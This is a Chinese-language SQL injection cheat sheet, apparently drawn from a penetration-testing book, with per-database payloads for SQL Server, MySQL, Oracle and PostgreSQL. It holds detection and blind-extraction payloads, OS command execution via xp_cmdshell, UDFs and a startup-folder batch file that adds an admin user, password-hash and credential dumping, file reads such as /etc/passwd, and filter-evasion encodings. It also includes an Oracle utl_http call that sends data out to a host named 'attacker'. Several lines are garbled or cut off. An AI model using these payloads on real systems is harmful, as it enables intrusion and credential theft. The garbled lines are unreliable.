Microsoft OLE DB Provider ORA- PLS- error in your SQL Syntax 80040E14 SQL Error Incorrect Syntax near SQLServer Failed MySQL Unclosed Quotation Mark JDBC Driver ODBC Driver SQL ODBC
合法、正确的输入是否可以替换 等效的SQL表达式? 如果遇到了错误,修改输入的数据以分析错误,确定输入的数据是否导致了SQL语法错误。例如,双倍使用单引号字符——如果一个引号导致了错误,而两个引号没有产生错误,那么很有可能存在未发现的SQL注入缺陷。请注意,由错误数据类型导致的错误可以是预期的并具有正常的表现。 例如,如果在需要数值的地方提供了字符串数据,那么很多应用程序将 产生错误。这时应该进一步采用其他技术来确认是否存在SQL注入漏洞。 在采用这种检测技术之前,判断所测试的输入对于服务器的响应是否有影响是很重要的。例如,如果提供了一个数值,那么尝试使用另一个不同的数值并确定是否产生了可度量且一致的差异。对于字符串值, 使用同一字符集,并将字符串值修改为一个相同长度的随机字符串, 然后观察应用程序的响应。如果对数据的修改并没有对页面长度、内容或HTTP响应代码产生一致的差别,那么该技术不太可能成功。
合法、正确的输入是否可以替换 等效的SQL表达式? 数值数据在这个例子中,我们将假定测试一个传递给news.php脚本的数值类型的ID参数。下面两个请求产生了不同的响应,因此可以认为ID参数是动态的,并且可以用于这种测试方法。
http://target/news.php?ID=1
http://target/news.php?ID=2
在测试过程中,下一个步骤是提交一个SQL表达式,该表达式将被计算为事先确定好的正确值(比如上面例子中的1和2)。然后将对每一个表达式的响应与初始测试时的响应进行比较,以确定是否对该表达式 进行了计算。在这种类型的测试中,常用的SQL函数是ASCII(),对于所提供的ASCII字符,该函数将返回一个整数。因此,下面的SQL表达式应该返回值1( “2”的ASCT编码值是50)
51-ASCII(2)
如果我们的输入被SQL Server以不安全的方式解析,那么下列请求应该等价于原始的请求:
http://target/news.php?ID=51-ASCII(2)
– 等价手ID=1
http://target/news.php?ID=52-ASCII(2)
– 等价手ID=2
绝大多数主流数据库平台都支持ASCII()函数,包括Microsoft SQL Server、Oracle、MySQL 和 PostgreSQL。 请使用类似的算术表达式来确认结果。字符串数据 当处理字符串数据时,可以采用与评估数值参数类似的方法。与前面的例子一样,第一步是从应用程序获取有效的值,并确定当改变该值时服务器的响应也一致地产生差异。在本例中,我们假定下面的请求参数值将产生不同的结果:
http://target/products.asp?catagory=shoes
http://target/products.asp?catagory=blahfoo
在测试字符串数据时,一种常用的策略是将字符串拆分为两个或多个子串,然后再使用SQL语法在服务器端将这些子串连接起来。一个重要的附加说明是:对于字符串的连接,需要根据数据库平台的不同采用不同的连接语法。由于我们可能事先知道是哪一种数据库服务器, 因此典型的办法是一开始就使用目标平台的字符串连接语法,比如 Microsoft SQL Server、Oracle 或 MySQL。下列 URL 实现了再造参数值”shoes”的字符串连接:
Microsoft SQL Server http://target/products.asp?catagory=sho'%2b'es(%2b是+号的URL编码)
Oracle 或 PostgreSQL http://target/products.asp?catagory=sho'||'es
MySQL http://target/products.asp?catagory=sho'%20'es (%20是空格字符的URL编码)改变连接操作符两侧的子串将使输入无效,并取回与其他任意随机字符串一致的结果。
在服务器的响应中,SQL条件表达式的附加部分是否产生一致 的差异性? 从统计角度讲,大多数SQL注入漏洞都发生在这样的情况下:当用户提供的数据被不安全地包含在操作数中,并被传递给WHERE子句时。 在下面的例子中,请注意URL和产生的SQL査询:
URL: http://targetserver/news.php?id=100
SQL: SELECT * FROM news WHERE article_id=100
在正常的操作下,上面这个例子将取回并显示article_id值等于100的新闻文章。但是,如果参数id容易受到SQL注入&击,那么下面的请求将产生不同的结果:
URL 1: http://targetserver/news.php?id=100 and 1=1 URL 2: http://targetserver/news.php?id=100 and 1=2
通过添加”and 1=1”,在页面上应该看不到改变,因为从逻辑上来讲,该表达式并未改变WHERE子句的输出:
SELECT * FROM news WHERE article_id=100 and 1=1 相反,添加”and 1=2”意味着WHERE子句并不匹配数据库中的任何记录:
SELECT * FROM news WHERE article_id=100 and 1=2 通过使用这种技术操纵服务器的响应,我们常常可以识别SQL注入漏洞的存在。在某些情况下,可能需要通过关闭圆括号或者打破引号界定的数据,以便使用这种技术。例如,可以使用下面一系列的表达式:
‘AND ‘a’=’a Vs ‘AND ‘a’=’b’ AND 1=1-Vs ‘AND 1=2– ) AND 1=1– Vs ) AND 1=1– ‘) AND 1=1-Vs ‘) AND 1=2–
是否有可能触发可度量的时间 延迟? 通过SQL注入触发可度量的时间延迟,既可以用来确认是否存在缺陷, 在绝大多数情况下也可以用来识别后台数据库。

识别数据库平台

  1. 通过时间延迟推理识别数据库平台

产生时间延迟

平台 时间延迟
Microsoft SQL Server WAITFOR DELAY 0:0:10'
Oracle BEGIN DBMS LOCK.SLEEP(5);END;-- (仅PL/SQL注入)
SELECT UTL_INADDR.get_host_name('192.168.0.1') FROM dual
SELECT UTL_INADDR.get_host_address('foo.nowhere999.zom')FROM dual
SELECT UTL_HTTP.REOUEST(‘http://www.oracle.com‘) FROM dual
MySQL BENCHMARK(1000000,MD5("HACK")) -- 低于5.0.12版本 SLEEP(10)-- 5.0.12 及更高版本
PostgreSQL SELECT pg_sleep(10);-- 8.2 及更高版本
CREATE OR REPLACE FUNCTION pg_sleep(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT;-- 在Linux上创建 pg_sleep 函数,要求 postgres/pgsql 级别的权限
  1. 通过SQL方言推理识别数据库平台

SQL方言差异

平 台 连接符 行注释 唯一的默认表、变量或函数 Int转char函数
Microsoft SQL Server ‘A’+’B’ @@PACK_RECEIVED char(0*41)
Oracle ‘A’||’B’ concat(‘A’,’B’) BITAND(1,1) chr(65)
MySQL concat(‘A’,’B’) ‘A’ ‘B’ # CONNECTION_ID() char(0x41)
Access “A” & “B” N/A msysobjects chr(65)
PostgreSQL ‘A’||’B’ getpgusemame() chr(65)
DB2 ‘a’ concat ‘b’ sysibm.systables chr(65)
#Microsoft SQL Server
'AND @@PACK_RECEIVED = @@PACK_RECEIVED -- 
'#MySQL
'AND CONNECTION_ID() = CONNECTION_ID()-- 
'#Oracle
'AND BITAND(1,1) = BITAND(1,1)-- 
'#PostgreSQL
'AND getpgusername() = getpgusername()-- 

通过错误消息提取数据

#Microsoft SQL Server
AND 1 in (SELECT(Aversion) -- 
AND 1=CONVERT(INT,(SELECT @@VERSION))-- 
#MySQL
AND (select 1 from (select count(*),concat((SELECT VERSION()),floor(rand(0)*2))x from information_schema.tables group by x)a)#
#Oracle
AND 1=(utl_inaddr.get_host_name((SELECT banner FROM v$version WHERE rownum=1)))-- 
AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE rownum=1))-- 
#PostgreSQL
AND 1=CAST((SELECT version())::text AS NUMERIC)-- 
  1. 将多行合并为单行

使用SQL合并多行

平 台 合并多行和(或)列的查询
Microsoft SQL Server BEGIN DECLARE @x varchar (8000) SET @x=' ' SELECT @x=@x+'/'+name FROM sysobjects WHERE name>'a' ORDER BY name END; SELECT @x AS DATA INTO foo
-- populates the @x variable with all "name"column values from sysobjects table. Data from the @x variable is the stored in a table named foo under a column named data BEGIN DECLARE @x varchar(8000) SET @x=' ' SELECT @x=@x+'/'+name FROM sysobjects WHERE name>'a' ORDER BY name; SELECT 1 WHERE 1 IN (SELECT @x) END;
-- As above but displays results with the sQL server error message
SELECT name FROM sysobjects FOR XML RAW
-- returns the resultset as a single XML formatted string
Oracle `SELECT sys.stragg(distinct username
MySQL SELECT GROUP_CONCAT(user) FROM mysql.user;
--Returns a comma separated list of users.
PostgreSQL SELECT array_to_string(array(SELECT datname FROM pg_database), ':'); -- Returns a colon seperated list of database names

Microsoft SQL Server 备忘单

  1. 枚举数据库配置信息和模式

提取Microsoft SQL Server的配置信息

数 据 查 询
版本 SELECT @@version;
当前用户 SELECT system user;
SELECT suser_sname();
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid =@@SPID;
列出用户 SELECT name FROM master..syslogins;
当前用户权限,如果用户为sysadmin,返回1;如果用户不具有sysadmin权限,返回0 SELECT is_srvolemenber('sysadmin');
数据库服务器主机名 SELECT @@ servername;
SELECT SERVEROROPERTY('productversion'), SERVERPROPERTY('productlevel'),SERVERPROPERTY('edition'); -- 仅 SQL Server 2005

提取Microsoft SQL Server的模式信息

数 据 查 询
当前数据库 SELECT DB_NAME();
列出数据库 SELECT name FROM master..sysdatabases;
SELECT DB NAME(N);
-- Where N is the database number
列出表 当前数据库中的表:
SELECT name FROM sysobjects WHERE xtype='u';
SELECT name FROM sysobjects WHERE xtype='V';--视图
master数据库中的表:
SELECT name FROM master..sysobjects WHERE xtype='U';
SELECT name FROM master..sysobjects WHERE xtype='V';
列出列 当前数据库中tblUsers表的列名:
SELECT name FROM syscolumns WHERE id=object_id('tblUsers');
admin数据库中tblUsers表的列名:
SELECT name FROM admin..syscolumns WHERE id=object_id('admin..tblmembers');
査找具有指定名称的列 查找指定的name
drop table pentest;begin declare@ret varchar(8000) set @ret=CHAR(58) select @ret=@ret+CHAR(32)+o.name+ CHAR(47)+c.name from syscolumns c,sysobjects o where c.name LIKE '%XXX%' and c.id=o.id and o.type='U' select @ret as ret into pentest end-
URL编码
查找名称中包含Pass的列名
drop table pentest;begin declare @ret varchar(8000) set @ret=CHAR(58) select @ret=@ret+CHAR(32)+o.name+CHAR(47)+c.name from syscolumns c,sysobjects o where (c.name LIKE'%[Pp][Aa][Ss][Ss]%' or c.name LIKE'%[Pp][Ww][Dd]%') and c.id=o.id and o.type='U' select @ret as ret into pentest end-
URL编码
在列中查找特定的值 对于指定的搜索字符串,返回数据库和列的名称,并将数据存储在foo数据库中Drop table #Results;Drop table foo;CREATE TABLE #Results(ColumnName nvarchar(370),ColumnValue nvarchar(3630);SET NOCOUNT ON;DECLARE @TableName nvarchar(256),@columnNamenvarchar(128), @Searchstr2 nvarchar(110) SET @TableName = ''; SET @searchstr2 = QUOTENAME('%'+'dave'+'%',''''); WHILE @TableName IS NOT NULL BEGIN SET @columnName = ''; SET @TableName =(SELECT MIN (QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE_TABLE' AND OUOTENAME (TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @rableName AND OBJECTPROPERTY (OBJECT_ID(QUOTENAME(TABLE_SCHEMA)+ QUOTENAME(TABLE_NAME)),'IsMSShipped') = 0); WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL) BEGIN SET @ColumnName =(SELECT MIN (QUOTENAME(COLUMN_NAME)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA PARSENAME (@TableName, 2) AND TABLE_NAME = PARSENAME(@TableName, 1) AND DATA_TYPE IN ('char', 'varchar', 'nchar','nvarchar') AND QUOTENAME (COLUMN_NAME) > @columnName); IF @ColumnName IS NOT NULL BEGIN INSERT INTO #Results EXEC('SELECT '''+@rableName +'.'+@columnName+''',LEFT('+@columnName +', 3630) FROM'+ @rableName+'(NOLOCK)+'WHERE' + @columnName + 'LIKE'+@Searchstr2); END END END select ColumnName, ColumnValue into foo FROM # Results
URL编码
  1. SQL 盲注函数:Microsoft SQL Server

SQL盲注函数

数 据 查 询
字符串长度 LEN()
从给定字符串中提取子串 SUBSTRING(string,offset,length)
字符串(’ABC’)不带单引号的表示方式 SELECT char(0x41) + char(0x42) + char(0x43);
触发时间延迟 WAITFOR DELAY '0:0:9'; --c触发9秒的时间延迟
IF语句 IF (1=1) SELECT 'A' ELSE SELECT 'B' -- 返回
  1. Microsoft SQL Server 的权限提升

Microsoft SQL Server 的版本号

版本号 服务包
9.00.3042 Microsoft SQL Server 2005 SP2
9.00.2047 Microsoft SQL Server 2005 SP1
9.00.1399 Microsoft SQL Server 2005
8.00.2039 Microsoft SQL Server 2000 SP4
8.00.818 Microsoft SQL Server 2000 SP3 w/Cumulative Patch MS03-031
8.00.760 Microsoft SQL Server 2000 SP3
8.00.532 Microsoft SQL Server 2000 SP2
8.00.384 Microsoft SQL Server 2000 SP1
8.00.194 Microsoft SQL Server 2000
7.00.1063 Microsoft SQL Server 7.0 SP4
7.00.961 Microsoft SQL Server 7.0 SP3
7.00.842 Microsoft SQL Server 7.0 SP2
7.00.699 Microsoft SQL Server 7.0 SP1
7.00.623 Microsoft SQL Server 7.0
6.50.479 Microsoft SQL Server 6.5 SP5a Update
6.50.416 Microsoft SQL Server 6.5 SP5a
6.50.415 Microsoft SQL Server 6.5 SP5
6.50.281 Microsoft SQL Server 6.5 SP4
6.50.258 Microsoft SQL Server 6.5 SP3
6.50.240 Microsoft SQL Server 6.5 SP2
6.50.213 Microsoft SQL Server 6.5 SP1
6.50.201 Microsoft SQL Server 6.5 RTM
  1. OPENROWSET重验证攻击

下列OPENROWSET查询将尝试使用口令为letmein的sa账户连接到地址为 127.0.0.1 的 SQL Server:

SELECT * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'letmein','SET FMTONLY OFF execute master..xp_cmdshell "dir"')-- 
  1. 攻击数据库服务器:Microsoft SQL Server
  • 通过xp_cmdshell执行系统命令
EXEC master.dbo.xp_cmdshell 'os command'

重新启用xp_cmdshell

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure 
EXEC sp_configure 'xp_cmdshell', 1
EXEC sp configure reconfigure

xp_cmdshell存储过程已经被删除了,但.dll并未删除,启用它:

EXEC sp_addextendedproc 'xp_cmdshell', 'xpsq170.dll'
EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll
  • xp_cmdshell的替代方案

作为xp_cmdshell存储过程的替代方案,可以执行下列SQL语句来实现相同的效果:

DECLARE @altshell INT
EXEC SP_OACREATE 'wscript.shell',@altshell OUTPUT
EXEC SP_OAMETHOD @altshell,'run','null','%systemroot%\system32\cmd.exe /c'

要想在Microsoft SQL Server 2005上执行这个替代的shell,首先要执行下列SQL:

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'Ole Automation Procedures', 1
EXEC sp_configure reconfigure
  • 破解数据库口令

Microsoft SQL Server 2000的口令哈希存储在sysxlogins表中,可以使用下列SQL语句提取它们

SELECT user,password FROM master.dbo.sysxlogins
  • Microsoft SQL Server 2005 哈希

以下SQL语句会检索sa账户的口令哈希:

SELECT password_hash FROM sys.sql_logins WHERE name='sa'
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
  • 文件读/写

如果拥有INSERT和ADMINISTER BULK OPERATIONS许可,就可以读取本地文件。下列SQL语句会将本地文件c:\boot.ini读取到localfile表中:

CREATE TABLE localfile(data varchar(8000));
BULK INSERT localfile FROM 'c:\boot.ini';

MySQL 备忘单

  1. 枚举数据库配置信息和模式

提取MySQL服务器的配置信息

数 据 查 询
版本 SELECT @@version;
当前用户 SELECT user();
SELECT system user();
列出用户 SELECT user FROM mysql.user;
当前用户权限 SELECT grantee, privilege_type, is_grantable FROM information_schema.user privileges;

提取MySQL 5.0及之后版本的模式信息

数 据 查 询
当前数据库 SELECT database();
列出数据库 SELECT schema name FROM information schema.schemata;
列出表 列出当前数据库中的表:
UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA= database();
列出所有用户自定义数据库中的所有表:
SELECT table_schema, tabble_name FROM information_schema.tables WHERE table_schema!= 'information_schema' AND table_schema !='mysql
列出列 列出当前数据库中tblUsers表的列名:
SELECT column_name FROM information_schema.columns WHERE table_name='tblUsers' #返回 tblUsers 表所有列的列名
列出所有用户定义的数据库中的所有列:
SELECT table_schema, tabble_name, column_name FROM information_schema.columns WHERE table_schema != 'information_schema' AND table schema !='mysql'
  1. SQL盲注函数:MySQL

SQL盲注函数

数 据 查 询
字符串长度 LENGTH()
从给定字符串中提取子串 SELECT SUBSTR(string, offset, length);
字符串(‘ABC’)不带单引号的表示方式 SELECT char(65,66,67);
触发时间延迟 BENCHMARK(1000000,MD5("HACK")); #触发一个可度量的时间延迟
SLEEP(10); #触发一个10秒的时间延迟(MySQL 5以及更高版本)
IF语句 SELECT if (1=1,'A','B'); -- 返回'A'
  1. 攻击数据库服务器:MySQL
  • 执行系统命令

可以通过在目标服务器上创建一个定期执行的恶意脚本文件来执行操作系统命令。下列语句用于从MySQL读取内容并将其写入本地文件中

SBLECT 'system_commands' INTO dumpfile trojanpath

接下来的语句会在Windows启动目录中创建一个批处理文件,用于添加一个口令为x的管理员用户X

SELECT 'net user x x /add%26%26 net localgroup administrators x /add' into dumpfile 'c:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\attack.bat'
  • 破解数据库口令

返回一个以冒号分隔的用户名和口令哈希值的列表

SELECT concat(user,":",password) FROM mysql.user
  • 直接攻击数据库

Windows: www.scoobygang.org/HiDDenWarez/mexec.pl

Windows: www.0xdeadbeef.info/exploits/raptor_winudf.tgz

基于 UNIX: www.0xdeadbeef.infb/exploits/raptor_udf.c

  • 读取文件

查看UNIX主机上的/etc/passwd文件

SELECT LOAD_FILE('/etc/passwd');

启用了 MAGIC_QUOTES_GPC,可以使用十六进制字符串代表该文件路径以避免使用单引号字符

SELECT LOAD_FILE(0x2f6574632f706173737764);
#加载/etc/passwd
  • 写入文件

从mytable表中返回所有数据,并将输出写入到/tmp/hacker中

SELECT * FROM mytable INTO dumpfile '/tmp/hacker';

Oracle 备忘单

  1. 枚举数据库配置信息和模式

提取Oracle服务器的配置信息

数 据 查 询
版本 SELECT banner FROM v$version;
当前用户 SELECT user FROM dual;
列出用户 SELECT username FROM all users ORDER BY username;
当前用户权限 SELECT * FROM user role_privs;
SELECT * FROM user_tab_privs;
SELECT * FROM user_sys_privs;
SELECT sys_context('USERENV','ISDBA') FROM dual;
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY';
应用服务器主机名 SELECT sys_context('USERENV','HOST') FROM dual;
SELECT sys_context('USERENV','SERVER_HOST') FROM dual;
数据库服务器主机名 SELECT UTL_INADDR.get_host_name FROM dual
建立外部连接 `SELECT utl_http.request(‘http://attacker:1000/
引发错误 引发包含版本标志的错误
AND (utl_inaddr.get_host_name((select banner from v$version where rownum=1)))=1

提取Oracle数据库的模式信息

数 据 查 询
数据库名 SELECT global_name FROM global_name;
列出模式/用户 SELECT username FROM all_users;
列出表名及其模式 SELECT ower,table_name FROM all_users;
列出列 SELECT ower, table_name, column_name FROM all_tab_columns WHERE table_name= 'tblUsers';

数据库中的加密信息

数 据 查 询
经过加密的表 SELECT table_name, column_name, encryption_alg, salt FROM dba_encrypted_columns;
从Oracle 10g开始,可以对表使用透明加密。考虑到性能原因,通常只对最重要的列进行加密
列出使用加密库的对象 SELECT owner, name, type, referenced_name FROM all_dependencies;
显示使用了数据库加密的对象(例如,DBMS_CRYPTO和DBMS_OBFUSCATION_TOOLKIT中的密码)
列出包含’crypt’字符串的PL/SQL函数 SELECT owner,object_name,procedure_name FROM all_procedures where (lower(object_name) LIKE '%crypt%' or lower(procedure_name) like '%crypt%') AND object_name not in ('DBMS OBFUSCATION TOOLKIT','DBMS_CRYPTO_TOOLKIT')
  1. SQL盲注函数:Oracle

SQL盲注函数

数 据 查 询
字符串长度 LENGTH()
从给定字符串中提 取子串 SELECT SUBSTR(string,offset,length) FROM dual;
字符串(’ABC’)不带 单引号的表示方式 `SELECT chr(65)
触发时间延迟 SELECT UTL_INADDR.get_host_address('nowhere999.zom') FROM dual; -- 触发可度量的时间延迟
  1. 攻击数据库服务器:Oracle

Oracle中存在两种不同类型的注入:传统SQL注入和PL/SQL注入。在PL/SQL注入中, 可以执行整个PL/SQL块;而在传统的SQL注入中,通常则只能修改单条SQL语句。

  • 命令执行

使用下列脚本实现系统命令的执行和本地文件的读/写访问:

www.0xdeadbeef.infb/exploits/raptor_oraexec.sql

www.0xdeadbeef.info/exploits/raptor_oraextproc.sql

  • 读本地文件

从Oracle服务器读取本地文件

读本地文件:XMLType

create or replace directory GETPWDIR as 'C:\APP\ROOT\PRODUCT\11.1.0\
DB_1\OWB\J2EE\CONFIG';
select extractvalue(value(c),'/connection-factory/@user')||'/'||
extractvalue(value(c),'/connection—factory/@password')||'@'||substr
(extractvalue(value(c),'/connection-factory/@url'),instr(extractvalue
(value(c),'/connection-factory/@url'),'//'')+2) conn
FROM table(
XMLSequence(
extract(
xmltype(
bfilename('GETPWDIR','data-sources.xml'),
nls_charset_id('WE8ISO8859P1')
)/
'/data-sources/connection-pool/connection-factory'
)
)
)

读本地文件:Oracle Text

CREATE TABLE files (id NUMBER PRIMARY KEY,path VARCHR(255)UNIQUE,
ot_format VARCHAR(6));
INSERT INTO files VALUES (1,'c:\boot.ini',NULL);
-- 将准备要读取的列插入到表中(比如通过SQL注入读取)
CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context
PARAMETERS('datastore ctxsys.file_datastore format column ot_format');
-- 从全文索引检索数据(boot.ini)
SELECT token_text from dr$fi1e_index$i;
  • 读本地文件(仅限于PL/SQL注入)

直接连接到数据库来执行PL/SQL块:

读本地文件:dbms_lob

Create or replace directory ext AS 'C:\';
DECLARE
buf varchar2(4096);
BEGIN
Lob_loc:= BFILENAME(1MEDIA_DIR','aht.txt');
DBMS_LOB.OPEN(Lob_loc, DBMS_LOB.LOB_READONLY);
DBMS_LOB.READ (Lob_loc, 1000,1,buf);
dbms_output.put_line(utl_raw.cast_to_varchar2(buf));
DBMS_LOB.CLOSE(Lob_loc);
END;
* via external table
CREATE TABLE products_ext
(prod_id NUMBER, prod_name VARCHAR2(50), prod_desc VARCHAR2(4000),
prod_category VARCHAR2(50), prod_category_desc VARCHAR2(4000),
list_price NUMBER(6,2), min_price NUMBER(6,2), last_updated DATE)
ORGANIZATION EXTERNAL
(
TYPE oracle_loader
DEFAULT DIRECTORY stage_dir
ACCESS PARAMETERS
(RECORDS DELIMITED BY NEWLINE
BADFILE ORAHOME:'.rhosts'
LOGFILE ORAHOME:'log_products_ext'
FIELDS TERMINATED BY ','
MISSING FIELD VALUES ARE NULL
(prod_id, prod_name, prod_desc, prod_category, prod_category_desc, price, price_delta,last_updated char date_format date mask "dd-mon-yyyy")
)
LOCATION ('data.txt')
)
PARALLEL 5
REJECT LIMIT UNLIMITED;
  • 写本地文件(仅限于PL/SQL注入)

通过SQL*Plus等客户端来直接连接到数据库。

写本地文本文件:utl_file

Create or replace directory ext AS 'C:\';
DECLARE
v_file UTL_FILE.FILE_TYPE;
BEGIN
v_file:= UTL_FILE.FOPEN('EXT', 'aht.txt','w');
UTL_FILE.PUT_LINE(v_file, 'first row');
UTL_FILE.NEW_LINE(v_file);
UTL_FILE.PUT_LINE(v)file,'second row');
UTL_FILE.FCLOSE(v_file);
END;

写本地二进制文件:utl file

Create or replace directory ext AS 'C:\';
Create or replace directory ext AS 'C:\';
DECLARE fi UTL_FILE.FILE_TYPE;
bu RAW(32767);
BEGIN
bu:=hextoraw('BF3B01BB8100021E8000B88200882780FB81750288D850E8060083C402CD20C35589E5B80100508D451A50B80F00508D5D00FFD383C40689EC5DC3558BEC8B5E088B4E048B5606B80040CD21730231C08BE55DC39048656C6C6F2C20576F726C64210D0A');
fi:=UTL_FILE.fopen('EXT', 'hello.com','wb',32767);
UTL_FILE.put_raw(fi,bu,TRUE);
UTL_FILE.fclose(fi);
END;
/

写本地文件:dbms_advisor(Oracle 10g及之后的版本)

create directory MYDIR as 'C:\';
exec SYS.DBMS_ADVISOR.CREATE_FILE('This is the
content'||chr(13)||'Next line','MYDIR','myfile.txt');
  • 破解数据库口令

从数据库中提取口令哈希:

SELECT name, password FROM sys.user$ where type#>0 and
length(password)=16;
--DES Hashes (7-10g)
SELECT name, spare4 FROM sys.user$ where type#>0 and length(spare4)=62; --SHA1 Hashes

提取明文口令:

select view_username, sysman.decrypt(view_password) from sysman.mgmt_view_user_credentials;
select credential_set_column, sysman.decrypt(credential_value) from sysman.mgmt_credentials2;
select sysman.decrypt(aru_username), sysman.decrypt(aru_password) from sysman.mgmt_aru_credentials;

PostgreSQL 备忘单

www.postgresql.org/docs/manuals/

  1. 枚举数据库配置信息和模式

提取PostgreSQL数据库的配置信息

数 据 查 询
版本 SELECT version()
当前用户 SELECT getpgusername();
SELECT user;
SELECT current user;
SELECT session user;
列出用户 SELECT usename FROM pg_user
当前用户权限 SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
数据库服务器主机名 SELECT inet_server_addr();

提取PostgreSQL数据库的模式信息

查询
当前数据库 SELECT current_database();
列出数据库 SELECT datname FROM pg_database;
列出表 SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r' ,'') AND pg_catalog.pg_table_is_visible(c.oid) AND n.nspname NOT IN ('pg_catalog','pg_toast');
列出列 SELECT relname,A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.nspname ='public') AND (A.attrelid=C.oid) AND (N.oid=C.relnamespace) AND (A.atttypid=T.oid) AND(A.attnum>0) AND (NOT A.attisdropped);
  1. SQL盲注函数:PostgreSQL

SQL盲注函数

数 据 查 询
字符串长度 LENGTH()
从给定字符串中提取子串 SUBSTRING(string,offset,length)
字符串(‘ABC)不带单引号的表示方式 `SELECT CHR(65)
触发时间延迟 SELECT pg_sleep(10); --触发10s的延迟
  1. 攻击数据库服务器:PostgreSQL

PostgreSQL并未提供执行操作系统命令的内置存储过程,不过可以从外部的.dll或共享对象(shared object)(.so)文件中导入堵如system()这样的函数。借助PostgreSQL并使用COPY语句同样可以读取本地文件。

  • 执行系统命令

对于8.2版本之前的PostgreSQL数据库服务器,从标准UNIX libc库导入system函数:

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;

接下来可以通过执行下列SQL查询调用system函数:

SELECT system('command');
  • 访问本地文件

可以使用下列SQL语句并借助超级用户账户来读取本地文件,这些文件是使用操作系统级的PostgreSQL用户账户打开的

CREATE TABLE filedata(t text);
COPY filedata FROM '/etc/passwd';--

可以使用下列SQL语句来写本地文件,这些文件也是使用操作系统级的PostgreSQL用户账户创建的

CREATE TABLE thefile(evildata text);
INSERT INTO thefile(evildata) VALUES ('some evil data');
COPY thefile (evildata) TO '/tmp/evilscript.sh';
  • 破解数据库口令

列出PostgreSQL数据库中的用户名和口令

select usename||':'||passwd from pg_shadow;

避开输入验证过滤器

引号过滤器

不使用引号字符表示字符串

平 台 查 询
Microsoft SQL Server SELECT char(0x41) + char(0x42) + char(0x43);
MySQL Server SELECT char (65,66,67);
SELECT 0x414243;
Oracle `SELECT chr(65)
PostgreSQL `SELECT chr(65)

Microsoft SQL Server还支持在变量中构造查询,然后调用EXEC来执行它。

创建了一个名为@q的变量,并借助一个十六进制编码的字符串将SELECT’ABC’查询赋值给该变量:

DECLARE @q varchar(8000)
SELECT @q=0x53454c454354202741424327
EXEC(@q)

采用该技术可以在不向应用程序提交任何引号字符的前提下,执行任意查询。可以使用下列Perl脚本并借助该技术来自动编码SQL语句:

#!/usr/bin/perl
print "Enter SQL query to encode:";
$teststr=<STDIN>;chomp $teststr;
$hardcoded_sql =
'declare @q varchar(8000)'.
'select @q=0x***'.
'exec(@q)';
$prepared = encode_sql($teststr);
$hardcoded_sql =~s/\*\*\*/$prepared/g;
print ""\n[*]-Encoded SQL:\n\n";
print $hardcoded_sql ."\n";
sub encode_sql{
@subvar=@_;
my $sqlstr =$subvar[0];
@ASCII = unpack("C*",$sqlstr);
foreach $line (@ASCII) {
$encoded = sprintf('%lx',$line);
$encoded_command .=$encoded;
}
return $encoded_command;
}

HTTP 编码

有时可以使用外来编码标准或者借助双重编码来编码输入,以避开那些拒绝已知不良字符 (通常称为黑名单)的输入验证过滤器。

编码后的SQL元字符

字 符 编码后的变量
%27
%2527
%u0027
%u02b9
%ca%b9
%22
%2522
%u0022
%uff02
%ef%bc%82
; %3b
%253b
%u0003b
%ufflb
%ef%bc%9b
( %28
%2528
%u0028
%uff08
%ef%bc%88
) %29
%2529
%u0029
%uff09
%ef%bc%89
[空格] %20
%2520
%u0020
%ff00
%c0%a0

排查SQL注入攻击

排查SQL注入时的参考资料

解决方案 错误/挑战
挑战
执行一次UNION SELECT攻击,其原始查询用于检索image类型的列。
错误消息
Image is incompatible with int/ The image data type cannot be selected as DISTINCT because it is not compatible.
UNION SELECT语句修改成读UNION ALL SELECT
这样能解决当UNION SELECT尝试与image数据类型进行比较操作时出现的相关问题。
例如:UNION ALL SELECT null,null,null
挑战
注入ORDER BY子句
注入的数据位于ORDER BY子句右边。许多常用的技巧(比如UNION SELECT)将不起作用。
本例执行下列SQL查询,其中攻击者的数据是注入点:SELECT FROM products GROUP BY attackers data DESC
Microsoft SQL Server
Microsoft SQL Server支持使用分号(;)作为每个新查询的堆叠查询的开始。可以按下列方式来实施多种攻击,比如基于时间延迟的数据检索和扩展存储过程的执行:
ORDER BY 1;EXEC master..xp_cmdshell'cmd'
还可以利用Microsoft SQL Server并通过错误消息来返回查询结果数据。注入ORDER BY子句时,可以使用下列语法:
ORDER BY (1/(@@version)); -- 返回版本号
ORDER BY 1/(SELECT TOP 1 name FROM sysobjects WHERE xtype='U');--从sysobjects返回名称
MySQL Server
可以在ORDER BY子句中使用基于时间延迟的SQL盲注。如果当前用户为root@localhost,那么下面的例子会触发时间延迟:
ORDER BY(IF((SELECT user()='root@localhost'),sleep(2),1));
Oracle可以使用utl_http包并通过攻击者选择的任何TCP端口来建立向外的HTTP连接。接下来的ORDER BY子句通过端口1000与主机攻击者建立了一条HTTP连接。
该HTTP请求在请求路径中包含了Oracle的版本标志:`ORDER BY utl_http.request(‘http://attacker:1000/
挑战
因为删除了公共权限,所以ut http无法起作用。
错误消息
ORA-00904 invalid identifier
